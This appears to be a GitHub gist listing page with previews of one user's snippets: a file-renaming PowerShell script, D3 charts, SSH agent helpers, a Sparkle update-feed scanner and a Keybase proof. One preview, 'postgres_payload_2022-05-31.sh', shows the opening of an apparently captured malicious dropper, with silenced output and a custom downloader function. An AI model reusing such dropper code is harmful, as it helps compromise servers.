Skip to content

Instantly share code, notes, and snippets.

code, pre {
display: block;
white-space: pre-wrap;
}
@sa7mon
sa7mon / rename-random.ps1
Created December 24, 2022 20:46
Randomly rename all files in a folder
# Rename all files in a folder to a random name, while keeping the original extension
$path = "path\to\files\here"
foreach($file in $(Get-ChildItem -Path $($path + "*"))) {
$extension = [System.IO.Path]::GetExtension($file.FullName);
$randomName = [System.IO.Path]::ChangeExtension([System.IO.Path]::GetRandomFileName(), $extension)
Write-Host "Changing File $($file.Name) to $randomName"
@sa7mon
sa7mon / postgres_payload_2022-05-31.sh
Created May 31, 2022 21:30
postgres_payload_2022-05-31.sh
XRANDOM
exec &>/dev/null
export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
function kurl() {
read proto server path <<<$(echo ${1//// })
DOC=/${path// //}
HOST=${server//:*}
PORT=${server//*:}
[[ x"${HOST}" == x"${PORT}" ]] && PORT=80
alias rsynccopy="rsync --partial --progress --append -r"
alias rsyncmove="rsync --partial --progress --append --remove-sent-files -r"
@sa7mon
sa7mon / index.html
Created January 27, 2019 18:00
Improved D3 Horizontal bar chart
<!DOCTYPE html>
<head>
<meta charset="utf-8">
<script src="https://d3js.org/d3.v4.min.js"></script>
<style>
body { margin:0;position:fixed;top:0;right:0;bottom:0;left:0; }
</style>
</head>
<body>
@sa7mon
sa7mon / .block
Last active January 27, 2019 14:55
D3 Horizontal Bar Chart sort
license: gpl-3.0
@sa7mon
sa7mon / Seeso.md
Created December 21, 2016 14:08
Methodology for downloading from Seeso

#Seeso Methodology

  1. Get video clip info

    Request

     GET https://feed.theplatform.com/f/NZILfC/nbcott-prod-all-media?byAvailabilityState=available&byId=[EPISODEIDHERE]&form=cjson
    
**Response** (Available resolutions with bogus links that just point to the default resolution)
# SSH Agent Functions
# Mark Embling (http://www.markembling.info/)
#
# How to use:
# - Place this file into %USERPROFILE%\Documents\WindowsPowershell (or location of choice)
# - Import into your profile.ps1:
# e.g. ". (Resolve-Path ~/Documents/WindowsPowershell/ssh-agent-utils.ps1)" [without quotes]
# - Enjoy
#
# Note: ensure you have ssh and ssh-agent available on your path, from Git's Unix tools or Cygwin.
@sa7mon
sa7mon / scanSparkle.sh
Last active March 10, 2021 08:11
Scan your Mac for application feed URLs with the Sparkle Updater Framework. URL's that aren't HTTPS are vulnerable to MITM
find /Applications -name Sparkle.framework -exec defaults read {}/../../Info.plist SUFeedURL \;
@sa7mon
sa7mon / keybase.md
Created October 8, 2015 19:53
Identity Proof for Keybase.io

Keybase proof

I hereby claim:

  • I am sa7mon on github.
  • I am salmon (https://keybase.io/salmon) on keybase.
  • I have a public key whose fingerprint is E2DF 793D DF65 BC81 81B9 E63B 3592 D28F 6373 DA51

To claim this, I am signing this object: